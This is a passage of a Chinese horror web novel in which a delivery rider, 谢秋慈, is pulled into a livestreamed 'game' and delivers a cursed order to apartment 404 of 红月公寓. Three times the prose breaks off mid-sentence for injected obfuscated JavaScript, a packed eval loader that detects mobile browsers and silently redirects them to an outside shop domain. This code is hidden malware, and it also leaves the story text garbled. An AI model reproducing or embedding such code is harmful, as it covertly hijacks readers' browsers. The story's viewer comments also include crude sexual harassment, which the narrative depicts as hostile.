【小王快跑】:就红月公寓4栋404,老筒子楼了,听说那栋楼根本没人住,快拆了。 【小王快跑】:但从那鬼东西降临之后,隔三差五就有从那里点出来的外卖,都是麻辣烫,还非要特辣。接单的骑手去了就没回来过,手机信号最后消失的地方都在那栋楼里,警察都去查过几次,屁都没找到。 【老张不是隔壁老王】:何止,我听说之前有个胆大的骑手,不信邪接了,走到单元门口拍了个视频发群里,说感觉有人看他。然后……就没然后了。视频现在还在群里,你们自己看,阴森得要死。 【小王快跑】:反正我看到就秒划,给一百都不去。 谢秋慈点开那个视频。 画面很抖,拍摄时间显示是凌晨一点左右,镜头对准一栋破旧的六层筒子楼,外墙是那种老式的淡黄色瓷砖,但已经爬满了深色的霉斑和裂缝,像皮肤上溃烂的疮口。 整栋楼只有零星几扇窗户透出光,不是正常的白炽灯或日光灯,而是一种暗沉沉的,接近淤血的红色。 视频里,拍摄的骑手喘着粗气,声音发颤:“草了……真邪门,感觉好多人在看我,从那些窗户后面……” 镜头扫过那些泛着红光的窗户。 突然,视频剧烈晃动了一下,像是拍摄者被什么吓了一跳。画面最后定格在单元门,那是一扇锈蚀得几乎看不出原色的铁门,半开着,里面是浓得化不开的黑暗。 视频结束。 聊天群最新消息: 【老张不是隔壁老王】:又取消了,第八次了,这单今晚估计是送不出去了。 谢秋慈返回接单界面。 配送费那一栏,数字跳了一下,从50.00,变成了55.00。 迟迟没人接单,系统自动加价了。 谢秋慈轻笑一声,指尖落下,点击“接单”。 【接单成功!】 【您已接取加急订单,请尽快前往取餐点!】 14.红月公寓·骑手送餐手册2 电瓶车调转方向,朝着幸福路驶去。 “老陈骨汤麻辣烫”是个临街小店,这个点还亮着灯,老板是个秃顶的中年男人,正靠在柜台后玩手机,听到门响,头也不抬:“打烊了,明天早点——” “取餐,红月公寓404。”谢秋慈说。 老板手指一僵,猛地抬头,看见谢秋慈身上的荧光黄马甲,脸色变了变:“你接那个单了?” “嗯。”谢秋慈往店里看了一眼,卫生还行。 老板欲言又止,眼神里混杂着恐惧和一点同情。他转身从后厨拿出一个已经打包好的塑料袋,外面还套了一层保温袋,放在柜台上,动作有点急:“拿,快拿走吧。” 谢秋慈拎起袋子,入手沉甸甸的,温度滚烫,隔着塑料袋能闻到一股极其浓烈,甚至有些呛人的辣椒和骨汤混合的气味。 “特辣?”他确认。 老板点头如捣蒜:“特辣!绝对特辣!我放了双倍……不,三倍辣椒,花椒也加多了。” 他顿了顿,压低声音:“小伙子,听我一句,送到门口放下就跑,千万别多待,也别往里看,那地方,真的不对劲。” 谢秋慈认真问:“怎么不对劲?” 老板张了张嘴,似乎想说什么,但最终只是摇头,挥挥手:“唉,就是不对劲,你快走吧,路上小心。” 谢秋慈拎着外卖走出小店,推开玻璃门的瞬间,他听见老板在后面很小声地,飞快地念叨了一句什么,像是某种方言的祈求或咒语。 电瓶车再次启动,导航目的地设定为红月公寓。 越往那个方向骑,周围的景象就越荒凉,街道从还算整洁变得坑洼,路灯间隔越来越远,光线也越来越暗,两旁的建筑从新建的小区逐渐变成低矮的平房,最后连成片的老式厂房和围墙。 红月公寓就在这片区域的深处。 那是一个比视频里看起来更加破败的老小区,围墙低矮,墙皮大片剥落,露出里面红色的砖块,小区大门连个门卫室都没有,只剩下两根水泥门柱,其中一根还裂了缝,歪斜着。 放眼望去,整个小区黑沉沉一片,只有零星几点灯火,分散在几栋楼里,而其中4栋的灯光最为集中,也更诡异。 那是清一色的暗红色。 不亮,但足够显眼,在漆黑的楼体上,像一只只缓缓睁开的,充血的眼睛。 谢秋慈把车停在4栋楼下,这是一栋典型的八十年代筒子楼,六层高,每层一条长长的公共走廊,串联着左右两侧的住户。 外墙的淡黄色瓷砖早已污秽不堪,霉斑和水渍勾勒出狰狞的图案,裂缝像蜘蛛网一样蔓延。 整栋楼安静得可怕。 没有电视声,没有说话声,甚至没有鼾声,只有夜风吹过破损窗户发出的细微的呜咽,以及一股淡淡的,若有若无的潮湿的霉味,混着烧东西后留下的焦糊味。 谢秋慈拎着外卖袋,没有立刻进去,他先是抬头,数了数亮着红灯的窗户,四楼左边数第四扇,应该就是404。 他拎着袋子,开始绕着公寓楼慢慢走,夜风吹动他额前的碎发,露出光洁的额头和那双漂亮冷感的眼睛。 就在谢秋慈走到公寓楼侧面,靠近那片荒草丛生的绿化带边缘时,口袋里的手机骤然发烫,震动不止。 与此同时,他的眼前毫无征兆地浮现出那片熟悉的半透明界面,界面依旧是羊皮纸卷轴的样式,边缘有暗金色的古老纹路,墨黑色的文字在纸面上微微浮动,像有生命般流淌展开: 【检测到主播进入高浓度异常区域……】 【环境同调完成,直播信号强制接入中……】 【欢迎来到罪渊。】 【副本名称:红月公寓·骑手送餐手册】 【主线任务:将“特辣骨汤麻辣烫”送达至红月公寓4栋404室指定客户手中,并存活至天明(06:00)。】 【夜晚的红月公寓不欢迎访客,除非你是“食物”。遵守规则,保持礼貌,或许你能听到一些有趣的睡前故事,当然,更可能成为故事的一部分。】 【祝您送餐愉快,或许这是最后一餐:)】 【当前副本参与玩家:1】 【姓名】:谢秋慈 【理智壁垒】:88/100 (你的“常识”在崩解与重构中找到了某种危险的平衡) 【侵蚀度】:0% (但深渊从不吝啬于投下注视)】 【当前副本】:红月公寓·骑手送餐手册 【深渊的邀约·任务】:送达外卖,存活至天明。 【内在之源·技能】:拿来吧你(初级) 【有限的真实·背包】:裂口女的硬币 x1,人面犬的硬币 x1,伞妖的黑伞 x1 面板上的文字泛着不祥的血色光泽,最后那几句警告和期待,还有末尾带着十足嘲讽的微笑符号,字里行间透出一股毫不掩饰的,近乎愉悦的恶意,仿佛已经预见他被困在这栋红月笼罩的公寓里,最终成为又一抹凝固的恐惧。 谢秋慈的目光在系统的话上停顿了几秒,嘴角几不可察地弯了一下。 几乎在系统面板浮现的同时,手机罪渊APP的直播界面自动弹出,左上角的在线人数从0开始疯狂跳动:1…10…50…147…并且仍在持续上升。 【直播推流中……】 【您已进入“新人主播热播榜”第7位】 谢秋慈视野的右下角,悄然浮现出一个微小的半透明的礼物图标,旁边有一行小字:【打赏功能已解锁】。 谢秋慈只看了一眼,就移开视线,继续他的巡视。 一楼的所有窗户,都从里面用木板钉死了。 木板是那种老式的边缘毛糙的杂木板,横七竖八地钉在窗框上,有些木板上还残留着暗红色的漆印,像是从什么地方拆下来的旧家具。 钉子钉得很深,很密,仿佛里面的人极度恐惧有什么东西会从窗户进来。 ……或者说,恐惧有什么东西从里面出去。 谢秋慈走到一扇被钉死的窗户前停下,手机手电筒的光打在木板上,映出粗糙的木纹和黑褐色的霉斑。他看了几秒,忽然抬手,屈起手指,在木板上不轻不重地敲了三下。 叩,叩,叩。 声音在死寂的夜里格外清晰。 城市另一端。 庄静娴刚洗完澡,正用毛巾擦着湿漉漉的头发,另一只手习惯性地点开了手机上的罪渊APP。 自从经历过便利店副本,这个无法删除的APP成了她每日必定检视的脏东西,既是恐惧来源,也是信息渠道。 她划拉着首页推荐的直播间,那些血腥、绝望、尖叫的画面让她胃部不适,但职业习惯又迫使她必须观察,分析其他玩家的遭遇和副本模式。 活下去,都是为了活下去,为了在下一次进入副本后,能够有更多的经验来应对那些恐怖的东西。 就在庄静娴看完准备退出时,APP顶部突然弹出一条极其醒目,边框泛着血红色的推送:【您关注的玩家“谢秋慈”已开启直播!】 【副本:红月公寓·骑手送餐手册】 【点击进入,为您的好友加油吧~】 庄静娴的心脏猛地一缩,手指比大脑反应更快地点了进去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507514|202369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >屏幕亮起,映入眼帘的正是谢秋慈那张在手机手电冷光下显得愈发苍白的侧脸,他站在一栋破旧筒子楼前,背景是渗人的暗红色窗户,正抬手敲向一扇被木板钉死的窗户。 “有人吗?□□。” 庄静娴:“……” 还是那个熟悉的味道,一上来就作死。 但紧接着涌上心头的,是更强烈的担忧,红月公寓?这名字她似乎在玩家论坛的都市传说板块瞥见过,不是什么好地方。 她紧紧盯着屏幕,那后面传来的诡异爬行声,手心渗出了冷汗。 弹幕已经开始滚动,大部分是惊叹、玩梗和舔颜,但也混杂着一些明显不怀好意的言论,似乎在期待谢秋慈出丑或死亡。 庄静娴看得又气又急,下意识就想在输入框里打字提醒谢秋慈小心,或者至少骂回去。 她敲下几个字:【谢秋慈,别乱敲,那后面有东西!】 手指放在发送键上,她顿了顿,之前她试过,在现实世界根本无法发送弹幕,这个功能似乎只对副本内的玩家,或者某些特殊存在开放。 但这一次,当她按下发送时,那条弹幕竟然真的飘过了直播屏幕。 庄静娴愣住了,她看着自己那条颜色、格式都正常的弹幕混入其他弹幕之中,虽然很快被刷上去,但确确实实发出去了。 “我能发弹幕了?”她喃喃自语,随即想到,“是因为我也进过副本,成了‘玩家’,所以获得了在现实世界发送弹幕的权限?” 这发现让她心头一沉,这APP的恶意无处不在,赋予好友观看并互动的权限,何尝不是一种更残酷的折磨?眼睁睁看着好友濒死却无能为力,或者被迫发出绝望的呼喊…… 庄静娴抿唇,收敛心神,再次看向直播。 此刻,因为谢秋慈堪称惊艳且作死的开场,直播间人气正在飙升,这意味着更多流量,也意味着更多来自“观众”的注视。 木板后面,没有任何回应。 但谢秋慈的手电光,正好照在木板之间一道比较宽的缝隙上。 缝隙后面,是浓稠到化不开的黑暗,可就在他话音落下的瞬间,那道缝隙后面,似乎有什么东西,极快地动了一下。 不是光影错觉。 是确实有东西,贴着木板内侧,飞快地横向移动过去,速度极快,只留下一道比周围黑暗更深的残影。 紧接着,木板后面传来一阵极其轻微但密集的“沙沙”声,像是很多只脚爪同时在粗糙的水泥地上快速爬行,由近及远,迅速消失在房间深处。 谢秋慈站在原地,等那声音彻底消失,才慢悠悠地开口:“跑什么。” 他语气平淡,甚至带了点遗憾:“我又不吃人。” 【草草草草草!他肯定看见了!】 【新来的,这人一直这么勇吗?】 【我记得之前有类似的剧情片,还是户外公开的,谁给我发下资源?】 【在冲,腾不出手,自己去找】 【老婆我来了嘻嘻,你要一直这么漂亮,我才不会对你失去性趣哦】 谢秋慈还拿着手机,弹幕知道他在看,更加肆无忌惮,各种淫词不要钱地往外蹦,但谢秋慈对疯狂滚动的弹幕视若无睹,他最后看了一眼那扇窗户,转身朝单元门走去。 刚走到锈蚀的铁门前,谢秋慈脚步微微一顿,并非因为门内涌出的寒意,而是视野一角,那半透明的血色系统面板上,一行小字悄无声息地更新了: 【当前副本参与玩家:2】 几乎在数字跳动的同一秒,身后传来一阵急促的,由远及近的引擎轰鸣和刺耳的刹车声。 15.红月公寓·骑手送餐手册3 吱嘎——! 一辆蓝白色的电瓶车以一个近乎失控的姿态冲进小区,踉跄地刹停在谢秋慈那辆旧车旁边。 车上跳下来一个中年男人,穿着和他同款但沾满污渍的荧光黄骑手马甲,头盔歪斜,满头大汗,脸色在远处路灯残余的光线下白得发青。 他踉跄两步,扶着车把大口喘气,抬头看见谢秋慈,又看见谢秋慈手里印着“老陈骨汤麻辣烫”的袋子,最后目光死死盯住那栋散发着不祥红光的4号楼,瞳孔骤缩。 他声音嘶哑,带着难以置信的绝望,手指颤抖地指向谢秋慈的手机,又指指自己的:“那个单,红月公寓404?” 谢秋慈平静地看着他:“对,我们都进副本了。” 中年男人抹了把脸上的汗,努力想镇定下来,但声音依旧发颤:“我叫王实,刚送完附近一单,想着抄个近路,就从这小区边上过,结果手机突然烫得吓人,那该死的APP自己弹出来……” 他咽了口唾沫,喉结剧烈滚动:“订单强制弹出,取消不了,地址就是这,4栋404。” 他看向谢秋慈手里的袋子,又看看自己手机上空空如也的接单界面,明白了什么:“你已经取到餐了?” “嗯。”谢秋慈掂量了一下手里的袋子,“特辣骨汤麻辣烫。配送费五十五。” “五十五……”王实喃喃重复,脸上露出比哭还难看的笑容,“我听说过这地方,红月公寓,老早以前出过事,据说是一家三口,惨得很。” “后来这栋楼就怪事不断,住的人越来越少,都说不干净。尤其是4栋4楼,根本没人住,可总有人点外卖送到404,接单的骑手失踪了七个……”他顿了顿 谢秋慈点点头,若有所思:“失踪了七个,配送费才涨到五十五?” 王实:“……啊?” 谢秋慈语气平静:“风险越高,报酬应该呈指数级增长。七个骑手失踪,这已经是极高危的订单,平台定价系统不够灵活。” 王实张着嘴,呆呆地看着谢秋慈,一时之间竟然不知道该怎么接话。 他狠狠吸了口气,像是用尽全身力气才压下转身逃跑的冲动,往前挪了两步,靠近谢秋慈,声音压得极低,带着恳求:“小伙子,你叫什么名字?这地方邪性,一个人进去凶多吉少,咱们一起上去,好歹有个照应,互相看着点背后,行不?” 谢秋慈看了他一眼,目光在他因为恐惧而微微发抖的手上停留了一瞬,随即无所谓地点点头:“行。我叫谢秋慈。” 至于对方说的照应,他看着王实那几乎要站不稳的样子,不置可否。 王实如蒙大赦,连忙把自己的电瓶车也支好,摘下头盔,胡乱擦了把脸上的冷汗,紧紧握着自己的手机。 他看着手机上那个删不掉的罪渊app,自动开启的主播弹幕当中充斥着对他的嘲讽和恶毒的“祝福”,瞳孔狠狠抖了抖。 他是第一次进副本,虽然之前在网上看过不少直播,还和朋友吹牛皮说自己进去绝对无伤通关,但真的进了副本,他依旧和普通人一样忍不住恐惧,下意识地想打电话向官方求助。 “劝你最好不要拨出去。” 听到谢秋慈的话,王实的动作猛然一顿,讪讪一笑:“我就,我就试试……” “有空可以多看看玩家论坛,”谢秋慈点了点屏幕,“官方也会发布一些副本常识,在大多数副本里面,手机都是没有信号的,除了直播功能之外,其他的功能都会失效,就算在少数副本当中可以使用,也最好不要尝试。” 他那双清凌凌的眼睛里面没什么情绪:“毕竟谁也不知道,能接通你电话的会是什么东西。” 王实头皮发麻,差点把手机丢出去,立刻打消了打电话求助的念头。他其实隐约听说过的,就是刚刚没反应过来,在这个鬼游戏刚降临的那天,有人在副本里真的打通了电话,然后…… 有东西顺着听筒出来,捅穿了那个人的耳膜,在惨叫中从耳朵里一点一点抠出了整个大脑,红的白的碎了一地,旁边的同副本玩家直接被吓死过去。 谢秋慈看他明白了,也不再多言,面对那扇半掩的锈蚀的铁质单元门,伸出了手。 吱呀—— 令人牙酸的摩擦声在死寂中撕裂空气,浓稠的黑暗伴随着陈腐的霉味与烧纸钱的味道,如同冰冷的触手,从门内猛然扑出。 谢秋慈按亮手机手电。 惨白的光束刺破黑暗,照亮了眼前狭窄的楼道。 水泥地面,布满灰尘和碎屑,楼梯是水泥的,边缘被磨得圆滑,扶手上积着厚厚的灰。 没有声控灯,或者说,声控灯根本没亮,只有手机电筒照亮的一小片区域,光亮之外,是沉甸甸的,仿佛能吸收一切光线的黑暗。 谢秋慈抬脚,踩上第一级台阶。 王实紧跟在他身后,也打开了自己的手机手电,但光线明显抖得厉害,他咽了口唾沫,喉咙里发出“咕咚”一声响,在死寂中异常清晰。 两人一前一后,踩着满是灰尘的台阶往上走。 一楼到二楼的拐角处,堆着几个破旧的几乎要散架的纸箱,积了厚厚的灰,显然很久没人动过,但纸箱的顶上,放着一个白瓷碗。 碗里是半碗早已干硬结成块的白米饭,米饭正中,直挺挺地插着三根已经燃尽,只剩下短短一截的香杆,香灰洒落在米饭和碗沿上,积了薄薄一层。 手机光扫过时,那碗“倒头饭”静静地待在纸箱顶上,散发着一种令人极度不适的,冰冷的不详气息。 王实猛地倒吸一口凉气,脚步顿住,手电光剧烈晃动:“这、这是……” “别碰。”谢秋慈的声音很淡,手电光在那碗饭上停留了一秒就移开了。 【老婆穿什么都好诱惑,这套显得胸好大啊,让我嘬一口】 【谁是你老婆?这我老公!嬷嬷能滚吗】 【哦?一个新来的小玩具?这张脸……真是令人心动的造物。让我看看你有没有取悦我的价值。】 一条系统公告突然在直播间顶部金光闪闪地飘过: 【“深渊之欲·萨▆的宠姬”为主播“谢秋慈”打赏 1000 积分!】 【留言】:把衣服脱掉,趴下,用嘴把外卖袋子叼到门口。做得好,还有更多打赏。 1000积分对于新人主播来说,简直是天文数字般的打赏,弹幕瞬间炸了: 【卧槽,是那个喜欢看漂亮主播玩羞耻Play的宠姬,她居然来了!】 【主播走运了,按照惯例,这种大佬打赏完积分,如果主播照做让她满意,后面很可能直接打赏道具,虽然道具打赏要扣十倍积分手续费,但大佬不在乎】 【呜呜呜虽然但是,不想看老婆被这样羞辱……】 【醒醒吧,在恐怖游戏里活着最重要,节操算什么?全靠卖肉擦边过副本的主播可不少哈】 庄静娴在屏幕外看得拳头硬了,既愤怒于这种赤裸的羞辱,又忍不住担心谢秋慈要怎么应对。 直播画面中,谢秋慈拿着手机照明的手一顿,似乎也看到了那条金光闪闪的打赏公告和后续的弹幕。 他脚步未停,没有多看那碗倒头饭一眼,但对着空气忽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507515|202369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极轻地笑了一声。 那笑声透过收音清晰地传出来,带着点漫不经心的嘲弄。 然后,在无数道目光的注视下,他空着的那只手,缓缓抬起来,落在了自己荧光黄骑手马甲的拉链上。 【要脱了要脱了啊啊啊啊!】 【果然没人能拒绝积分,啧,没意思,还以为有多清高呢。】 【对,就是这样,小宝贝,让我看看……】 王实不明所以地看着他:“小、小伙子?你干嘛?” 谢秋慈没理他,手指勾着拉链头,“唰”地一声,利落地将马甲拉链拉到了底。 里面是一件普通的白色短袖T恤,很薄,隐约勾勒出少年人清瘦却柔韧的腰线,他手指捻起T恤下摆,似乎真的要往上掀—— 下一秒,谢秋慈手腕一转,将拎着的外卖塑料袋挂在了敞开的马甲内部,一个类似内袋的位置上,麻辣烫的袋子晃晃悠悠,紧贴着他的腹部。 接着,他慢条斯理地重新拉上了马甲拉链,将外卖严严实实地“藏”在了自己衣服里面。 做完这一切,谢秋慈抬起头,唇角勾起一个异常漂亮的弧度,眼神里是毫不掩饰的戏谑和冰冷:“外卖我会‘亲自’送到的,不劳费心观看送货过程。” 弹幕出现了刹那的空白。 【他居然敢挑衅宠姬?!】 【等着吧,有不少主播一开始都爱装清高,后面被副本毒打之后,就知道给我们观众当狗了】 【帅炸了,疯批美人我太可以了,老婆好帅,老婆踩我!】 【……很好。很久没遇到这么不知死活的小点心了。既然你喜欢挑衅,那我送你一件小礼物吧,希望你能玩得开心。】 【“深渊之欲·萨▆的宠姬”为主播“谢秋慈”打赏道具“厄运铃铛(一次性)”!】 【道具效果:摇响后,在接下来30分钟内,你遭遇“异常事件”的概率小幅提升,并更容易吸引某些存在的“特殊关注”。(注意:厄运亦是馈赠,看你能否把握。)】 一个缠着污浊红绳,锈迹斑斑的青铜小铃铛虚影在谢秋慈的【有限的真实·背包】格子里一闪而过,自动使用。 这明显是带着恶意的负面道具,打赏道具通常需要十倍积分,这位“宠姬”宁愿支付高额手续费,也要给谢秋慈添堵,可见恼怒至极。 弹幕再次沸腾:【别小看这种带着命运效果的道具,有很多时候,倒霉可是致命的,喝水呛死也不是不可能】 【大佬:给脸不要脸,那你就去死吧。】 【主播惨了,这个副本虽然是新生成的,但难度绝对不会低……】 【呜呜呜不要啊,我的漂亮老婆】 庄静娴在屏幕外,心脏都快跳出来了,她看着谢秋慈那副满不在乎,甚至因为成功挑衅而显得更加生动昳丽的脸,一边气他又作死,一边又忍不住觉得……刚才那一幕,确实带感。 她手指动了动,原本想发送提醒小心的弹幕,在输入框里删删改改,最后变成了一句:【干得漂亮。】 王实隐约明白了谢秋慈是在和弹幕那些鬼东西对话,他立刻闭嘴不敢开口,谢秋慈也没再管弹幕,拿着手机照向旁边的墙壁。 王实顺着光线看去,又是一哆嗦。 绿色墙裙上方,那斑驳的白灰墙上,被人写满了密密麻麻的字,字迹凌乱癫狂,用力极深,几乎要划破墙皮。 快出去 别上来来来来来 快走!!! 回头!!! 不要相信 眼睛!!!很多眼睛!!! 16.红月公寓·骑手送餐手册4 大片大片的,重复的,充满恐惧的警告,覆盖了整整一面墙壁,在手机惨白的光线下,这些扭曲的字迹仿佛有了生命,张牙舞爪地扑向观看者。 王实腿都软了,声音发颤:“这谁写的……我们、我们回去吧,这地方不能待……” 谢秋慈没回答,他的手电光缓缓下移,停在了墙壁最下方,靠近墙角的位置。 那里,在一片狂乱警告的缝隙里,有一行很小很小的字。 字迹和上面那些完全不同,虽然也歪歪扭扭,但显得很稚嫩,很轻,像是用尽最后一点力气,小心翼翼地写下的。 救救我妈妈 谢秋慈盯着那行小字看了两秒,随即移开视线,手电光投向通往二楼的楼梯。 “走吧。”他说。 “还、还走?”王实的声音都快哭出来了。 “嗯。”谢秋慈已经踏上了通往二楼的台阶,“配送超时要扣钱。” 王实:“……” 【我他妈……这种时候你还惦记着扣钱?!】 【这是主播第二个副本,新手副本运气不好,分到了比较难的,这个副本应该挺简单的吧?】 【规则怪谈哪有简单的,那碗倒头饭就是祭鬼的,说明这楼里死过人,而且很可能不止一个。】 【弹幕有没有大佬分析一下?“他们看着你”的“他们”是谁?不要相信什么?】 【终于找到资源了,对着主播的脸边冲边看真是惬意啊】 二楼,三楼结构一模一样,长长的昏暗的公共走廊,两侧是一扇扇紧闭的油漆剥落的深绿色木门。 有些门把手上积着灰,有些门缝下塞满了小广告,所有窗户都从里面拉着厚重的暗红色窗帘,一丝光也透不出来。 死一般的安静。 只有两人的脚步声,和越来越粗重的呼吸声,主要是王实的。 每层楼的拐角墙壁上,都写满了那些癫狂的警告,有些还画着扭曲难以辨认的符号,空气里的那股烧焦的味道,似乎也浓郁了一点点。 谢秋慈的脚步很稳,手电光平稳地扫过沿途的一切,他在一些门前会稍微停顿半秒,视线扫过门牌号和门缝,然后继续向上。 终于,四楼到了,手电光照亮斑驳的墙壁,映出门牌号。 401。 402。 403。 然后……是405。 谢秋慈停下脚步,手电光在403和405之间的墙壁上来回扫了两遍。 没有404。 403旁边就是405,中间是一面完整的,贴着老旧掉色宣传画的墙壁,宣传画面是某个早已不存在的厂矿的安全生产标语,字迹模糊不清。 “404呢?”王实的声音抖得不成样子,他紧紧挨着谢秋慈,几乎要贴到他背上,“怎么没有404?订单上写的是404啊!!” 谢秋慈没回答,他往前走了两步,手机手电几乎贴在墙壁上,仔细一寸一寸地照过去。 光线滑过泛黄的墙皮,滑过卷边的宣传画,滑过一道不起眼的,几乎与墙壁同色的竖向缝隙。 他伸出手,指尖在那道缝隙上轻轻划了一下,积灰被抹开,露出下面略微不同的质感。 不是水泥墙,是木头。 一扇被刷成和周围墙壁几乎一模一样颜色的木门出现在视野里,门框与墙壁的接缝被小心地填补粉刷过,不凑到极近处仔细看根本发现不了。 在这扇隐蔽的木门下方与地面之间,有一道极细的门缝,暗红色如同凝固血液般的光,从那条缝隙里丝丝缕缕地渗出来。 而在距离门缝上方大概一指的墙壁上,有人用笔歪歪扭扭地写了几个小字,像是趴在地面上,脸颊紧紧贴着冰凉的地板,一点一点抠着写的: 404(临时) 字迹很新,和楼下那些癫狂的警告,以及墙角那行稚嫩的“救救我妈妈”都不一样。 王实也看到了那行字,他猛地捂住自己的嘴,把一声惊叫死死压回喉咙里,眼睛瞪得滚圆,里面充满了恐惧和难以置信。 谢秋慈还记得外卖订单的备注要求:送到请敲门三下,放门口,不要看猫眼,不要说话,收了钱快走。 他抬起骨节分明的手,在冷白光线映衬下几乎有些透明的手指屈起,悬在门板前。 “叩。叩。叩。” 谢秋慈的指节落在与墙壁同色的木门上,发出沉闷的声响,那声音像是被什么吸走了,只留下一道短暂的回响,随后便被更深沉的寂静吞没。 他身后半步,王实死死攥着手机,手电光抖得厉害,在斑驳的墙壁上投出凌乱跳跃的光斑。 他呼吸粗重,喉咙里发出类似抽气的声音,眼睛瞪得几乎要凸出来,一眨不眨地盯着那扇渗着暗红光芒的门缝。 一秒,两秒,三秒。 门内毫无动静。 只有那股混杂着霉味,灰尘,烧糊味,以及一丝若有若无的肉类腐败甜腥气的味道,在空气中静静流淌。 谢秋慈神色平静,正要屈指再敲,门内传来了声音。 “沙……沙……沙……” 那是一种极其缓慢拖沓的脚步声,不像是穿着鞋,更像是赤脚,或者包裹着什么东西的脚,在粗糙的水泥地上一点点摩擦拖动的声音。 沉重,粘滞,每一步都仿佛用尽了力气,又带着某种难以言喻的僵硬感,声音由远及近停在了门后。 【赌五根手指,门开之后是高清鬼脸怼屏。】 【前面的能不能别剧透,虽然我也觉得是……】 【啧,厄运铃铛的效果就这?只是招来个走路慢吞吞的东西?无聊。小点心,让我看看你更惊恐的表情啊。】 【厄运铃铛才刚生效吧?急什么,好戏在后头。】 “吱呀——”生锈合页发出令人牙酸的呻吟,那扇伪装成墙壁的木门,被从里面拉开了一条缝。 不大,只够伸出一只手。 一只从门缝阴影里探出的,属于女性的手。 惨白,浮肿,皮肤呈现出一种长时间泡水后的,失去弹性的皱褶感。手指异常细,指甲很长,没有涂抹任何颜色,是纯粹的带着污迹的漆黑,指甲缝里似乎塞着暗红色且已经干涸的黏稠物。 那只手以一种极其僵硬的姿势伸出,五指张开,掌心朝上,掌心里躺着两张纸钞。 两张纸币叠在一起,上面一张是普通的有些陈旧的五元人民币,下面露出一角的那张,却是黄底朱砂字的——冥币。 手悬在门外,一动不动,似乎在等待。 王实倒抽一口凉气,往后踉跄了半步,后背撞在冰冷粗糙的墙壁上,发出“咚”的一声闷响。 他惊恐地看向谢秋慈,用眼神疯狂示意:快把外卖放下,拿钱,走啊!! 谢秋慈仿佛没看见他的眼神,他目光落在那只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507516|202369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手上,停留了大约两秒,似乎在观察指甲的形状和污渍,然后才平静地伸出手,去拿那两张叠在一起的纸币。 他的指尖先触碰到上面那张五元真钞。 冰凉,潮湿,带着一股淡淡的难以形容的腥气。 就在他捏住纸币,准备将其与下面的冥币一同拿起时,那只一直静止的惨白浮肿的手,忽然轻微地向上抬了一下。 这个动作幅度太小,速度太快,在昏暗的光线下几乎难以察觉。 但就是这细微的一抬,那漆黑的尖端有些勾曲的指甲,轻轻擦过了谢秋慈递钱过去的手背。 谢秋慈眉头几不可察地蹙了一下,动作有瞬间的凝滞。 触感冰冷刺骨,湿滑粘腻,像是被刚从福尔马林液体里捞出来的泡发的皮肤组织刮过。那一瞬间的接触,带来的不仅是温度上的寒意,还有一种直冲脑髓,带着腐朽气息的阴冷。 他收回手,两张纸币已经到了他手中,左手手背上,被指甲擦过的地方,赫然浮现出几道清晰的青黑色指印淤痕。 那颜色深得发黑,在冷白肤色的映衬下,显得异常刺目和不祥,淤痕边缘微微凹陷,皮肤传来麻木和隐约的刺痛感,像被低温冻伤。 【碰到了碰到了!我看到了,是那只手动了一下,故意的!】 【呵,接下来你会更受欢迎呢~可惜只是碰了一下,怎么没直接把你拉进去?】 【这个大佬好恶毒】 【主播手好好看,骨节分明又白,好涩啊……想舔掉那印子……】 【?前面的是不是有什么大病?这也能冲?】 【我就冲,美人受难最好品了,想把他按在墙上,看他被鬼吓得哭出来然后……嘿嘿。】 【弹幕能不能别这么恶臭?这是恐怖直播】 【手背淤青×情/趣标记√】 几乎在谢秋慈拿到钱的同时,那只惨白的手闪电般缩回,五指成爪,一把抓住了放在门边的外卖塑料袋提手,袋子被迅速拖进门内。 “砰!!!” 木门被重重摔上,震得门框上的灰尘簌簌落下,暗红色的门缝光也随之一暗,仿佛里面的东西急于隔绝内外。 死寂重新降临,但下一秒,门内又传来了声音。 “咔嚓……咔嚓……嘎吱……” 那是咀嚼声,但绝非正常人吃麻辣烫该有的声音,不像是吸溜面条,也不像是咬断蔬菜,声音更脆,更硬,带着一种令人牙酸的摩擦感。 间或夹杂着液体被大力吸吮、吞咽的“咕咚”声,粘稠而响亮。 而在这些令人不适的咀嚼吞咽声中,还混着一丝极其微弱,被竭力压抑着的断断续续的啜泣。 像个孩子在哭,又像是小动物的哀鸣,被更大的进食声掩盖,却如同冰冷的针,细细密密地扎进听者的耳膜。 王实的脸色已经从惨白变成了死灰,他双腿发软,几乎要顺着墙壁滑下去,全靠背抵着墙才勉强站立。 他嘴唇哆嗦着,看向谢秋慈的眼神充满了恐惧和催促:走,快走啊!东西送到了,钱也拿了,还不走等着被吃吗?! 谢秋慈却站在原地没动。 